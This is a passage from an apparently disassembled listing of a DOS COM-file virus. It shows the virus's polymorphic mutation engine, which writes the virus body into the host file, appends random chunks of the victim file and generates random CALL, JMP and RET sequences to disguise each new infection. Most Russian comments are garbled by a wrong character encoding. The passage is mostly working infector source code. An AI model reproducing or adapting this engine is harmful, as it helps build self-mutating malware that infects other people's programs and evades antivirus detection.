     0315  B4 49                                mov     ah,49h
     0317  E8 FF09                              call    DOS_func
     031A                       loc_031A:                                       ; Leave virus
     031A  5B                                   pop     bx
     031B  59                                   pop     cx
     031C  5A                                   pop     dx
     031D  5E                                   pop     si
     031E  5F                                   pop     di
     031F  5D                                   pop     bp
     0320  1F                                   pop     ds
     0321  07                                   pop     es
     0322  FA                                   cli                             ; Disable interrupts
                                ;--------------- ¢®ááâ ­®¢¨âì á⥪ -----------------------------
     0323  B8 0FCC                              mov     ax,1111h
                                Save_SS         =       word ptr $ - 2
     0326  8E D0                                mov     ss,ax
     0328  BC FFF8                              mov     sp,1111h
                                Save_SP         =       word ptr $ - 2
                                ;--------------- ¯à®¤®«¦¨âì à ¡®âã ¤¨á¯¥ç¥à  --------------------
     032B  B8 4B00                              mov     ax,4B00h                ; äã­ªæ¨ï "‡€“‘’ˆ’œ"
     032E  E9 FF03                              jmp     sub_0234     ; ¯¥à¥¤ ç  ã¯à ¢«¥­¨ï ®à¨£¨­ «ì­®¬ã
                                                                     ;  ¤¨á¯¥ç¥àã DOS
                                sub_022A        endp

                                ;==========================================================================
                                ;                              SUBROUTINE
                                ;==========================================================================

                                RND_0_FF        proc    near
     0331  B8 0100                              mov     ax,100h
     0334  EB 12                                jmp     short RND_0_AX

     0336  B0 40                RND_0_3F:       mov     al,40h
     0338  A9                                   db      0A9h                    ; TEST AX,im16
     0339  B0 10                RND_0_F:        mov     al,10h
     033B  A9                                   db      0A9h                    ; TEST AX,im16
     033C  B0 08                RND_01234567:   mov     al,8
     033E  A9                                   db      0A9h                    ; TEST AX,im16
     033F  B0 04                RND_0123:       mov     al,4
     0341  A9                                   db      0A9h                    ; TEST AX,im16
     0342  B0 03                RND_012:        mov     al,3
     0344  A9                                   db      0A9h                    ; TEST AX,im16
     0345  B0 02                RND_01:         mov     al,2
     0347  98                                   cbw                             ; Convrt byte to word

                                ;==========================================================================

                                RND_0_AX:
     0348  52                                   push    dx
     0349  51                                   push    cx
     034A  50                                   push    ax
     034B  E8 073C                              call    RND                     ; AX = RND
     034E  59                                   pop     cx
     034F  33 D2                                xor     dx,dx                   ; 0:AX
     0351  F7 F1                                div     cx                      ; ax,dx rem=dx:ax/reg
     0353  92                                   xchg    dx,ax                   ; AX = ®áâ â®ª ®â ¤¥«¥­¨ï
     0354  59                                   pop     cx
     0355  5A                                   pop     dx
     0356  0B C0                                or      ax,ax                   ; Zero ?
     0358  C3                                   retn
                                RND_0_FF        endp


                                ;==========================================================================
                                ; Žá­®¢­ ï ¯à®æ¥¤ãà  ã¯à ¢«ïîé ï ¯®«¨¬®àä­ë¬ ¬¥å ­¨§¬®¬
                                ; ‚室 : AX = à §¬¥à § à ¦ ¥¬®£® COM-ä ©« 
                                ;==========================================================================

                                sub_0359        proc    near
                                ;------- Ž¯à¥¤¥«ï¥¬ ¢ ä ©«¥ á«ãç ©­ë© ªã᮪ à §¬¥à®¬ 4Š¡ ©â  ---------------
                                                ; á®åà ­¨âì à §¬¥à ä ©« -¦¥àâ¢ë
     0359  2E: A3 0210                          mov     cs:OriginalFileSize,ax
     035D  8B F8                                mov     di,ax                   ; DI - 㪠§ë¢ ¥â ­  ª®­¥æ ä ©« 
                                                ; ¢ëç¥áâì 4Š ¨§ à §¬¥à . ¥®¡å®¤¨¬® ¤«ï ⮣®, ç⮡ë
                                                ; á«ãç ©­ë© ªã᮪ ­¥ ®ª § «áï € ª®­æ¥ ä ©« ,   ¬ ªá¨¬ã¬
                                                ; ‚ ª®­æ¥ ä ©« 
     035F  B9 1000                              mov     cx,4096
     0362  2B C1                                sub     ax,cx
                                                ; á«ãç ©­ë© ªã᮪ ¢ ä ©«¥
     0364  E8 FFE1                              call    RND_0_AX
     0367  05 0020                              add     ax,20h
     036A  2E: A3 04EB                          mov     cs:data_04EB,ax         ; AX - 㪠§ë¢ ¥â ­  ­ ç «® ªã᪠
                                ;------- à¨¯¨á뢠¥¬ ¢ë¡à ­­ë© ªã᮪ ª ª®­æã ä ©«  ---------------------------------
     036E  8B F0                                mov     si,ax
     0370  F3/ A4                               rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                                ;-----------------------------------------------------------------------------------
     0372  1E                                   push    ds
     0373  0E                                   push    cs
     0374  1F                                   pop     ds                      ; DS = CS
     0375  A3 03D2                              mov     ds:data_03D2,ax         ; ‚¥àå­ïï £à ­¨æ  ®¡« á⨠"A" - íâ®
                                                                                ;  ­ ç «® ¢ëªã襭­®© ®¡« áâ¨
     0378  97                                   xchg    di,ax                   ; DI - 㪠§ë¢ ¥â ­  ª®­¥æ ¯à¨¯¨á ­­®£®
                                                                                ;  ªã᪠ (ä ©« + ªã᮪)
     0379  A3 03E7                              mov     ds:data_03E7,ax         ; ‚¥àå­ïï £à ­¨æ  ®¡« á⨠"B" - íâ®
                                                                                ;  㪠§ â¥«ì ­  ª®­¥æ § à ¦¥­­®£® ä ©« 
     037C  A3 059C                              mov     ds:data_059C,ax         ;  §¬¥à  § à ¦¥­­®£® ä ©« 
     037F  96                                   xchg    si,ax
     0380  A3 03E2                              mov     ds:data_03E2,ax         ; ¨¦­ïï £à ­¨æ  ®¡« á⨠"B" - íâ®
                                                                                ;  ª®­¥æ ¢ëªã襭­®© ®¡« áâ¨
     0383  A3 03C1                              mov     ds:data_03C1,ax         ; Š®­¥æ ˆ”Ž-¡«®ª 
                                ;-------   ¬¥áâ® á«ãç ©­®£® ªã᪠ ª®¯¨à㥬 ⥫® ¢¨àãá  ----------------------------
     0386  BE 0100                              mov     si,offset Vir_Start
     0389  B9 09C0                              mov     cx,offset Vir_End - offset Vir_Start    ; à §¬¥à ¢¨àãá 
     038C  F3/ A4                               rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                                ;-------- ˆ­¨æ¨ «¨§ æ¨ï ¢á¥å ¢¨àãá­ëå áç¥â稪®¢ ------------------------------------
     038E  33 C0                                xor     ax,ax                   ; Zero register
     0390  A3 09E0                              mov     ds:BytesWrittenCounter,ax  ; ᣥ­¥à¨à®¢ ­­ëå ¡ ©â®¢ - ­®«ì
     0393  A3 06BE                              mov     ds:StackCounter,ax            ; á«®¢ ¢ á⥪¥ - ­®«ì
     0396  A3 06F3                              mov     ds:data_06F3,ax
     0399  A3 03CD                              mov     ds:data_03CD,ax        ; ­¨¦­ïï £à ­¨æ  ¡«®ª  "A" - 0000
     039C  89 3E 0A03                           mov     ds:data_0A03,di        ; ¤¨­ ¬¨ç¥áª¨© 㪠§ â¥«ì ­  
                                                                               ;  MEM-¡«®ª
     03A0  81 C7 0200                           add     di,0200h               ;  §¬¥à MEM-¡«®ª  = 512 ¡ ©â
     03A4  89 3E 04E3                           mov     ds:data_04E3,di        ; ¤¨­ ¬¨ç¥áª¨© 㪠§ â¥«ì ­  
                                                                               ;  ˆ”Ž-¡«®ª
     03A8  89 3E 09EA                           mov     ds:data_09EA,di        ; 㪠§ â¥«ì ­  ­ ç «® ˆ”Ž-¡«®ª 
     03AC  1F                                   pop     ds
                                ;------- ˆ­¨æ¨ «¨§ æ¨ï ¯¥à¢ëå ¡ ©â®¢ ¨­ä®à¬ æ¨®­­®© ®¡« á⨠------------------------
     03AD  AB                                   stosw                              ; Store ax to es:[di]
     03AE  AB                                   stosw                              ; Store ax to es:[di]
     03AF  2E: 89 26 0599                       mov     cs:data_0599,sp         ; á®åà ­¨âì á⥪
                                ;-----------------------------------------------------------------------------------
     03B4  93                                   xchg    bx,ax             ; BX = 0000
                                                                          ; ¢ ⥫¥ ¯®«¨¬®àä­®£® ¬¥å ­¨§¬  BX
                                                                          ; 㪠§ë¢ ¥â ­  ⥪ã騩  ¤à¥á £¥­¥à¨-
                                                                          ; à㥬®£® ãç á⪠
     03B5  53                                   push    bx
     03B6  53                                   push    bx                ; „¢  ­®«ï ¢ á⥪¥ - íâ® ¤¢  Mark-end
     ;---------------------------------------------------------------------------------------------------------
     ;                              * ˆá¯®«ì§®¢ ­¨¥ á⥪  *
     ;---------------------------------------------------------------------------------------------------------
     ; ®¬¨¬® ¢á¥å ¯à®ç¨å 楫¥© ¢¨àãá ¨á¯®«ì§ã¥â á⥪®¢ãî ¯ ¬ïâì ¤«ï à §¬¥é¥­¨ï ¢ ­¥© ¤¢ãå ¤¨­ ¬¨ç¥áª¨å ¬ áá¨-
     ; ¢®¢. „¨­ ¬¨ç¥áª¨¥ ¯®â®¬ã, çâ® § à ­¥¥ ­¥ ¨§¢¥áâ­® ᪮«ìª® ãç á⪮¢ ª®¤  ¨ ¯®¤¯à®£à ¬¬ ᣥ­¥à¨àã¥âáï ¯à¨
     ; ­®¢®¬ § à ¦¥­¨¨. Ž¤¨­ ¨§ íâ¨å ¬ áᨢ®¢ ¨á¯®«ì§ã¥âáï ¤«ï åà ­¥­¨ï ¨­ä®à¬ æ¨¨ ¯à¨ £¥­¥à æ¨¨ ¢ë§®¢  ¯®¤-
     ; ¯à®£à ¬¬ ¢ ¯®«¨¬®àä­®¬ "¬ãá®à¥". ‚â®à®© ¬ áᨢ ¨á¯®«ì§ã¥âáï ¤«ï åà ­¥­¨ï ¨­ä®à¬ æ¨¨ ¯à¨ ä®à¬¨à®¢ ­¨¨ ª®-
     ; ¬ ­¤ SHORT ¯¥à¥å®¤®¢. à¨ í⮬ ä®à¬ â åà ­¨¬®© ¨­ä®à¬ æ¨¨ ®¤¨­ ª®¢ ¤«ï ®¡®¨å ¬ áᨢ®¢:
     ;
     ;   ................................................................... ˆ­ä®à¬ æ¨ï åà ­¨âáï ¯ à ¬¨ á«®¢
     ;   [ ¥à¢ë© ¬ áᨢ ] 
     ;   *  PUSH  0 (Mark-end)
     ; 1 ÚÄ PUSH  Š®«¨ç¥á⢮ á«®¢ ¢ á⥪¥ ­  ¬®¬¥­â ¯¥à¥å®¤  ª ­®¢®¬ã ¡«®ªã 
     ;   ÀÄ PUSH  €¤à¥á á ª®â®à®£® ¤¥« ¥¬ ¯¥à¥å®¤
     ;      ...
     ; N ÚÄ PUSH  Š®«¨ç¥á⢮ á«®¢ ¢ á⥪¥ ­  ¬®¬¥­â ¯¥à¥å®¤  ª ­®¢®¬ã ¡«®ªã 
     ;   ÀÄ PUSH  €¤à¥á á ª®â®à®£® ¤¥« ¥¬ ¯¥à¥å®¤
     ;   ................................................................... ˆ­ä®à¬ æ¨ï åà ­¨âáï ¯ à ¬¨ á«®¢ 
     ;   [ ‚â®à®© ¬ áᨢ ]
     ;   *  PUSH  0 (Mark-end)
     ; 1 ÚÄ PUSH  Š®«¨ç¥á⢮ á«®¢ ¢ á⥪¥ ­  ¬®¬¥­â ä®à¬¨à®¢ ­¨ï SHORT ¯¥à¥å®¤  
     ;   ÀÄ PUSH  €¤à¥á ª®¬ ­¤ë SHORT ¯¥à¥å®¤ 
     ;      ...
     ; N ÚÄ PUSH  Š®«¨ç¥á⢮ á«®¢ ¢ á⥪¥ ­  ¬®¬¥­â ä®à¬¨à®¢ ­¨ï SHORT ¯¥à¥å®¤ 
     ;   ÀÄ PUSH  €¤à¥á ª®¬ ­¤ë SHORT ¯¥à¥å®¤    
     ;   ...................................................................
     ;   [Ž¡ëç­ë© á⥪]
     ;---------------------------------------------------------------------------------------------------------

                                ;---------- ƒ ¤ ¥¬ ¡ã¤¥¬ ¨«¨ ­¥â ¬®¤¨ä¨æ¨à®¢ âì DS ¢ ¯®«¨¬®àä­®¬ ¬ãá®à¥ ------------
     03B7  E8 FF8B                              call    RND_01                  ; = 0 - ­¥â
     03BA  2E: A2 0A25                          mov     cs:data_0A25,al         ; = 1 - ¤ 
     ;-----------------------------------------------------------------------------------------------------------
     ;                                         * à®¢¥àª  ¯à¥¤¥«®¢ *
     ;-----------------------------------------------------------------------------------------------------------
     ;     ÚÄÄÄÄÄÄÄÄÄ¿        ÚÄÄÄÄÄÄÄÄÄ¿                  ÚÄÄÄÄÄÄÄÄÄ¿                             ÚÄÄÄÄÄÄÄÄÄ¿
     ;     ³data_03CD³        ³data_03D2³                  ³data_03E2³                             ³data_03E7³
     ;     ÀÄÄÄÄÂÄÄÄÄÙ        ÀÄÄÄÄÂÄÄÄÄÙ                  ÀÄÄÄÄÂÄÄÄÄÙ                             ÀÄÄÄÄÂÄÄÄÄÙ
     ;    0000 ÚÅÄÄÄÄÄÄÄÄ//ÄÄÄÄÄÄÄÄÅÄÉÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÑÍÍÍÍÍÍ»ÄÅÄÄÄÄÄÄÄÄ//ÄÄÄÄÄÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ¿ NNNN
     ;         ³                     º²²²²²²²²²²º°°°°°°³±±±±±±º                       ³³                  ³
     ;         ³³                  ³ º²²²²²²²²²²º°°°°°°³±±±±±±º ³                     ³³                ³ ³
     ;         ³                     º²²²’…‹Ž²²²º°MEM°°³±ˆ­ä®±º                       ³³  à¨¯¨á ­­ë©     ³
     ;         ³³    Ž¡« áâì A     ³ º²²²²²²²²²²º°°°°°°³±±±±±±º ³     Ž¡« áâì B       ³³   á«ãç ©­ë©    ³ ³
     ;         ³                     º²²‚ˆ“‘€²²º°¡«®ª°³±¡«®ª±º                       ³³    ªã᮪ ¨§      ³
     ;         ³³                  ³ º²²²²²²²²²²º°°°°°°³±±±±±±º ³                     ³³     ä ©«       ³ ³
     ;         ³                     º²²²09C0²²²º°0200°³±0440±º                       ³³                  ³
     ;         ³³                  ³ º²²²²²²²²²²º°°°°°°³±±±±±±º ³                     ³³                ³ ³
     ;         ÀÄÄÄÄÄÄÄÄÄ//ÄÄÄÄÄÄÄÄÄÄÈÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÏÍÍÍÍÍͼÄÄÄÄÄÄÄÄÄÄÄ//ÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÙ
     ;                               ÀÄÄÄÄÄÄÄÄÄ1000ÄÄÄÄÄÄÄÄÄÄÄÙ                                ³
     ;                                      4K   ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
     ; à¨¬¥ç ­¨¥ : data_03CD - 㪠§ â¥«ì ­¨¦­¥© £à ­¨æë ®¡« á⨠€
     ;              data_03D2 - 㪠§ â¥«ì ¢¥àå­¥© £à ­¨æë ®¡« á⨠€
     ;              data_03E2 - 㪠§ â¥«ì ­¨¦­¥© £à ­¨æë ®¡« á⨠‚
     ;              data_03E7 - 㪠§ â¥«ì ¢¥àå­¥© £à ­¨æë ®¡« á⨠‚

     03BE                       loc_03BE:
                                ;------- à®¢¥àª  ª®«¨ç¥á⢠ ᣥ­¥à¨à®¢ ­­ëå ¡ ©â®¢ (¯à¥¤¥«ë ˆ”Ž-¡«®ª ) -----------
     03BE  33 F6                                xor     si,si                   ; SI = 0000
     03C0  B8 2D36                              mov     ax,1111h
                                data_03C1       =       word ptr $ - 2          ; AX = ª®­¥æ ˆ”Ž-¡«®ª 
     03C3  2B C7                                sub     ax,di                   ; DI - ⥪ã騩 㪠§ â¥«ì ˆ”Ž-¡«®ª 
     03C5  3D 0010                              cmp     ax,10h                  ; Žáâ «®áì ¬¥­¥¥ 16 ¡ ©â®¢ ?
     03C8  72 2F                                jb      short loc_03F9          ; Jump if YES
                                ;------- à®¢¥àª  ­  ¢ë室 §  ¯à¥¤¥« ­¨¦­¥© £à ­¨æë ¡«®ª  "A" ----------------------
     03CA  8B C3                                mov     ax,bx
     03CC  3D 122F                              cmp     ax,1111h
                                data_03CD       =       word ptr $ - 2
     03CF  72 28                                jb      short loc_03F9          ; Jump if below
                                ;------- à®¢¥àª  ­  ¢ë室 §  ¯à¥¤¥«ë ¢¥àå­¥© £à ­¨æë ¡«®ª  "A" --------------------
     03D1  B8 18C7                              mov     ax,1111h
                                data_03D2       =       word ptr $ - 2
     03D4  2B C3                                sub     ax,bx
     03D6  72 07                                jc      short loc_03DF          ; Jump if carry Set
     03D8  3D 0009                              cmp     ax,9
     03DB  72 1C                                jb      short loc_03F9          ; Jump if below
     03DD  EB 07                                jmp     short loc_03E6
                                ;------- à®¢¥àª  ­  ¢ë室 §  ¯à¥¤¥«ë ­¨¦­¥© £à ­¨æë ¡«®ª  "B" ---------------------
     03DF                       loc_03DF:
     03DF  8B C3                                mov     ax,bx
     03E1  3D 39E2                              cmp     ax,1111h
                                data_03E2       =       word ptr $ - 2
     03E4  72 13                                jb      short loc_03F9          ; Jump if below
                                ;------- à®¢¥àª  ­  ¢ë室 §  ¯à¥¤¥«ë ¢¥àå­¥© £à ­¨æë ¡«®ª  "B" --------------------
     03E6                       loc_03E6:
     03E6  B8 3D5E                              mov     ax,1111h
                                data_03E7       =       word ptr $ - 2
     03E9  2B C3                                sub     ax,bx
     03EB  3D 0009                              cmp     ax,9
     03EE  72 09                                jb      short loc_03F9          ; Jump if below
                                ;-------- ’ ª ª ª ¢ £à ­¨æ å, â® ¯à®¤®«¦ ¥¬ £¥­¥à¨à®¢ âì á«ãç ©­ë¥ ª®¬ ­¤ë ---------
     03F0  B8 0017                              mov     ax,23                   ; 23 entries
     03F3  E8 FF52                              call    RND_0_AX
     03F6  D1 E0                                shl     ax,1                    ; Shift w/zeros fill
     03F8  96                                   xchg    si,ax
     03F9                       loc_03F9:
     03F9  2E: FF 94 0400                       call    word ptr cs:data_0400[si]       ; 23 entries
     03FE  EB BE                                jmp     short loc_03BE
                                sub_0359        endp

     0400  042E                 data_0400       dw      offset sub_042E
     0402  0660                 data_0402       dw      offset sub_0660
     0404  066F                 data_0404       dw      offset sub_066F
     0406  0685                 data_0406       dw      offset sub_0685
     0408  06A3                 data_0408       dw      offset sub_06A3
     040A  06E0                 data_040A       dw      offset sub_06E0
     040C  06E0                 data_040C       dw      offset sub_06E0
     040E  0717                 data_040E       dw      offset sub_0717
     0410  0735                 data_0410       dw      offset sub_0735
     0412  0755                 data_0412       dw      offset sub_0755
     0414  076A                 data_0414       dw      offset sub_076A
     0416  0781                 data_0416       dw      offset sub_0781
     0418  07A3                 data_0418       dw      offset sub_07A3
     041A  07E8                 data_041A       dw      offset sub_07E8
     041C  07FD                 data_041C       dw      offset sub_07FD
     041E  081E                 data_041E       dw      offset sub_081E
     0420  0892                 data_0420       dw      offset sub_0892
     0422  08C5                 data_0422       dw      offset sub_08C5
     0424  0925                 data_0424       dw      offset sub_0925
     0426  094D                 data_0426       dw      offset sub_094D
     0428  0960                 data_0428       dw      offset sub_0960
     042A  09C2                 data_042A       dw      offset sub_09C2
     042C  098A                 data_042C       dw      offset sub_098A

                                ;==========================================================================
                                ; “¯à ¢«¥­¨¥ à §¡à á뢠­¨¥¬ ãç á⪮¢ ¯®«¨¬®àä­®£® ¬ãá®à 
                                ; ‚室 : ä« £ CF = 0 - ¯à®¤®«¦ ¥¬ à ¡®âã £¥­¥à â®à 
                                ;                = 1 - ᢮à ç¨¢ ¥¬ à ¡®âã £¥­¥à â®à
                                ; â  ¯à®æ¥¤ãà  ¯à®¨§¢®¤¨â ‡€Š›’ˆ…/Ž’Š›’ˆ…/Ž„Ž‹†…ˆ… ®ç¥à¥¤­®£®
                                ; ãç á⪠ ª®¤ . ’.¥. ®­  ä ªâ¨ç¥áª¨ ã¯à ¢«ï¥â  «£®à¨â¬®¬ "®¯¯«¥¢ë¢ ­¨ï"
                                ; ä ©«  (ᮧ¤ ­¨¥¬, ãç¥â®¬ ¨ ª®­â஫¥¬ ¯à®æ¥¤ãà ¨ ãç á⪮¢ ª®¤  ¢ à §­ëå
                                ; ¬¥áâ å ¯à®£à ¬¬ë-¦¥àâ¢ë. ‚ 室¥ ᢮¥© à ¡®âë ¯à®æ¥¤ãà  ®âá«¥¦¨¢ ¥â ¢á¥
                                ; CALL, JMP ¨ RET ¢ à §­ëå ᮧ¤ ¢ ¥¬ëå ãç á⪠å.
                                ; ‚­¨¬ ­¨¥! ‚¨àãá ¬ ­¨¯ã«¨àã¥â ¯®¤¯à®£à ¬¬ ¬¨. ® ¨­®£¤  í⨠¯®¤¯à®£à ¬¬ë
                                ; ¬®£ãâ á®áâ®ïâì ¨§ ­¥áª®«ìª¨å ãç á⪮¢ ª®¤  (ã¯à ¢«¥­¨¥ ¬¥¦¤ã ª®â®à묨
                                ; ¯¥à¥¤ ¥âáï ª®¬ ­¤ ¬¨ JMP).
                                ;==========================================================================

                                sub_042E        proc    near
     042E  9F                                   lahf                            ; Load ah from flags
     042F  95                                   xchg    bp,ax
     0430  E8 0496                              call    sub_08C9                ; áä®à¬¨à®¢ âì ᬥ饭¨ï ¤«ï
                                                                                ; SHORT ¯¥à¥å®¤®¢
     0433  59                                   pop     cx
     0434  5A                                   pop     dx
                                ;------------------------------------------------------------------------------
     0435  E8 FF0D                              call    RND_01                  ; á ¢¥à®ïâ­®áâìî 1/2 ¯à®¤®«¦ ¥¬
                                                                                ; ⥪ãéãî ¯®¤¯à®£à ¬¬ã ¢ ¤à㣮¬
                                                                                ; ãç á⪥
     0438  B0 02                                mov     al,2                    ; ‚¥à®ïâ­®áâì JMP ¨ CALL à ¢­ 
     043A  74 74                                jz      short loc_04B0          ; Jump if RND = 0
                                ;------------------------------------------------------------------------------
                                ; …᫨ ­ã¦­® ᢮à ç¨¢ âì à ¡®âã £¥­¥à â®à , â® ¢áâ ¢«ï¥¬ ª®¬ ­¤ã ¯¥à¥å®¤ 
     043C  8B C5                                mov     ax,bp
     043E  9E                                   sahf                            ; Store ah into flags
     043F  B8 0002                              mov     ax,2                    ; ‚¥à®ïâ­®áâì JMP ¨ CALL à ¢­ 
     0442  72 6C                                jc      short loc_04B0          ; Jump if CF=1
                                ;------------------------------------------------------------------------------
                                ; ‘ ¢¥à®ïâ­®áâìî 1/2 ¢ ⥪ã饩 ¯®¤¯à®£à ¬¬¥ ¢ë§ë¢ ¥¬ ¥é¥ ®¤­ã ¯® ª®¬ ­¤¥ CALL
     0444  E8 FEFE                              call    RND_01
     0447  75 6B                                jnz     short loc_04B4          ; Jump if RND = 1
                                ;------------------------------------------------------------------------------
     0449  5E                                   pop     si
     044A  0B F6                                or      si,si                 ; …áâì «¨ ®âªàëâë¥ ¯®¤¯à®£à ¬¬ë ?
     044C  74 64                                jz      short loc_04B2        ; …᫨ …’, â® ¢ë§ë¢ ¥¬ ¯¥à¢ãî
                                                                              ;   ¯®¤¯à®£à ¬¬ã ¯® ª®¬ ­¤¥ CALL.
                                                                              ; …᫨ „€, â® § ªà®¥¬ ¥¥.
                                ;------------------------------------------------------------------------------
                                ; "‡€Š›’œ" ãç á⮪ ª®¤  (¬®¤¥«¨à㥬 ¢ë室 ¨§ ¯®¤¯à®£à ¬¬ë ¯® ª®¬ ­¤¥ RETn)
                                ; SI -  ¤à¥á á ª®â®à®£® ¤¥« «¨ ¯¥à¥å®¤

     044E  2E: 8F 06 046F                       pop     cs:data_046F
     0453  58                                   pop     ax
     0454  2E: A3 06F3                          mov     cs:data_06F3,ax        ; …᫨ AX=0, â® áࠧ㠨 ®¡­ã«¥­¨¥
     0458  0B C0                                or      ax,ax                  ; Zero ?
     045A  74 0F                                jz      short loc_046B         ; Jump if zero
     045C  2E: 8F 06 06F3                       pop     cs:data_06F3
     0461  2E: FF 36 06F3                       push    cs:data_06F3
     0466  2E: FF 06 06F3                       inc     cs:data_06F3
     046B                       loc_046B:
     046B  50                                   push    ax
     046C  EB 00                                jmp     short $+2               ; delay for I/O
                                ;------------------------------------------------------------------------------
                                ; „® ª ª®£® §­ ç¥­¨ï ­ã¦­® ¢ë஢­ïâì SP ¤® ¢ë室  ¨§ ¯®¤¯à®£à ¬¬ë, ç⮡ë
                                ; ¯à ¢¨«ì­® áà ¡®â «  ª®¬ ­¤  RET.
     046E  B8 0001                              mov     ax,1111h
                                data_046F       =       word ptr $ - 2
     0471  2E: 87 06 06BE                       xchg    cs:StackCounter,ax
     0476  2E: 2B 06 06BE                       sub     ax,cs:StackCounter
     047B  48                                   dec     ax
     047C  E8 03C0                              call    sub_083F                ; ¢ë஢­ïâì SP
                                ;------------------------------------------------------------------------------
                                ; …᫨ ¢ ¢ë§ë¢ î饩 ¯®¤¯à®£à ¬¬¥ ¤® ¢ë§®¢  ¡ë«¨ ­¥á­ïâë¥ §­ ç¥­¨ï ¢ á⥪¥,
                                ; â® á­¨¬¥¬ ¯ àã-¤àã£ãî á«®¢ (á«ãç ©­®¥ ª®«-¢®) ¨§ á⥪  ¯à¨ ¢ë室¥
     047F  2E: A1 06BE                          mov     ax,cs:StackCounter
     0483  2E: 2B 06 06F3                       sub     ax,cs:data_06F3
     0488  40                                   inc     ax                      ;AX - ª®«¨ç¥á⢮ ­¥ á­ïâëå á«®¢
     0489  E8 FEBC                              call    RND_0_AX
     048C  74 13                                jz      short loc_04A1          ; ¥á«¨ AX=0, â® ¢ë©â¨ ¯® RET
                                ;--------------- ‚ë室 ¯® ª®¬ ­¤¥ RET NEAR <IM16> -----------------------------
     048E  2E: 29 06 06BE                       sub     cs:StackCounter,ax
     0493  D1 E0                                shl     ax,1                    ; Shift w/zeros fill
     0495  50                                   push    ax
     0496  B0 C2                                mov     al,0C2h                 ; cmd RET NEAR <IM16>
     0498  E8 01B0                              call    Write_byte
     049B  58                                   pop     ax
     049C  E8 0197                              call    Write_word
     049F  EB 05                                jmp     short loc_04A6
                                ;--------------- ‚ë室 ¯® ª®¬ ­¤¥ RET NEAR ------------------------------------
     04A1                       loc_04A1:
     04A1  B0 C3                                mov     al,0C3h                 ; cmd RET NEAR
     04A3  E8 01A5                              call    Write_byte
                                ;------------------------------------------------------------------------------
     04A6                       loc_04A6:
     04A6  83 C6 03                             add     si,3                ; âਠ¡ ©â  ­  ª®¬ ­¤ã ¯¥à¥å®¤ 
                                                                            ;    CALL <near> ¨«¨ JMP <near>
     04A9  2E: 89 36 054F                       mov     cs:data_054F,si
     04AE  33 C0                                xor     ax,ax                   ; AX = 0 - ¯à¨§­ ª ¢áâ ¢ª¨
                                                                                ;    ª®¬ ­¤ë "RETn"
     04B0                       loc_04B0:
     04B0  EB 0F                                jmp     short loc_04C1
                                ;------------------------------------------------------------------------------
     04B2                       loc_04B2:
     04B2  56                                   push    si             ; § ¯¨áì Mark-end' 
     04B3  40                                   inc     ax             ; ¤¥«¥­¨¥ ­  0 ­¥¢®§¬®¦­® (­ã¦­® ¤«ï RND)
     04B4                       loc_04B4:
                                                ; "Ž’Š›’œ" ­®¢ë© ãç á⮪ ª®¤  (¢ë§¢ âì ¯®¤¯à®£à ¬¬ã)
     04B4  2E: 8B 36 06BE                       mov     si,cs:StackCounter
     04B9  56                                   push    si                  ; á®åà ­¨âì ª®«-¢® á«®¢ ¢ á⥪¥
     04BA  46                                   inc     si
     04BB  2E: 89 36 06F3                       mov     cs:data_06F3,si     ; ‡­ ç¥­¨¥ áç¥â稪  á⥪  ¤® ­ ç « 
                                                                            ;  í⮩ ¯®¤¯à®£à ¬¬ë
     04C0  53                                   push    bx                  ; á®åà ­¨âì ⥪ã騩 㪠§ â¥«ì
                                                                            ;  ®ç¥à¥¤­®£®  ¤à¥á  (­ã¦­® ç⮡ë
                                                                            ;  ¯®â®¬ ¯à®¤®«¦¨âì á ­¥£®)
                                ;--------------------------------------------------------------------------
     04C1                       loc_04C1:
     04C1  52                                   push    dx
     04C2  51                                   push    cx
     04C3  95                                   xchg    bp,ax
     04C4  9E                                   sahf                            ; ¢®ááâ ­®¢¨âì ¢å®¤­ë¥ ä« £¨
     04C5  9C                                   pushf                           ;
     04C6  0B ED                                or      bp,bp                   ; “¦¥ ¢áâ ¢¨«¨ "RETn" ???
     04C8  74 15                                jz      short loc_04DF          ; bp = 0 - „ .
                                ;-------------- £¥­¥à æ¨ï ª®¬ ­¤ë ¯¥à¥å®¤  CALL ¨«¨ JMP -------------------
     04CA  8B C5                                mov     ax,bp
     04CC  E8 FE79                              call    RND_0_AX                    ; £ ¤ ¥¬ 祣® ¢áâ ¢¨âì
     04CF  B0 E9                                mov     al,0E9h                     ; cmd JMP NEAR
     04D1  75 06                                jnz     short loc_04D9              ; Jump if not zero
     04D3  2E: FF 06 06BE                       inc     word ptr cs:StackCounter  ; á ª®¬ ­¤®© CALL ¢ á⥪¥
                                                                                  ; ­ã¦­® ¯à¨¡ ¢¨âì ®¤­® á«®¢®
     04D8  48                                   dec     ax                          ; cmd CALL NEAR
     04D9                       loc_04D9:
     04D9  E8 016F                              call    Write_byte              ; § ¯¨áì ª®¬ ­¤ë
     04DC  E8 0157                              call    Write_word              ; § ¯¨áì  ¤à¥á  ¯¥à¥å®¤ 
                                                                                ;  ¤«ï ­ ç «  á«ãç ©­®£®
                                ;--------------------------------------------------------------------------
                                ; ‡ ªà뢠¥¬ ®ç¥à¥¤­ãî § ¯¨áì ¢ ¨­ä®-¡«®ª¥ ®â­®áïéãîáï ª § ªà뢠¥¬®¬ã
                                ; ãç áâªã ᣥ­¥à¨à®¢ ­­®£® ª®¤ 
     04DF                       loc_04DF:
     04DF  8D 45 FC                             lea     ax,[di-4]               ; 4 ¡ ©â  ¯®¤ ­ ç «® § ¯¨á¨
     04E2  BE 2B2C                              mov     si,1111h             ; ¤¨­ ¬¨ç¥áª¨© 㪠§ â¥«ì ˆ”Ž-¡«®ª 
                                data_04E3       =       word ptr $ - 2
     04E5  2B C6                                sub     ax,si            ; ¯®¤áç¥â à §¬¥à  § ªà뢠¥¬®£® ãç á⪠
     04E7  89 04                                mov     [si],ax          ; § ¯¨áì à §¬¥à  § ªà뢠¥¬®£® ãç á⪠
                                ;------------------------------------------------------------------------------
     04E9  9D                                   popf                            ; Pop flags
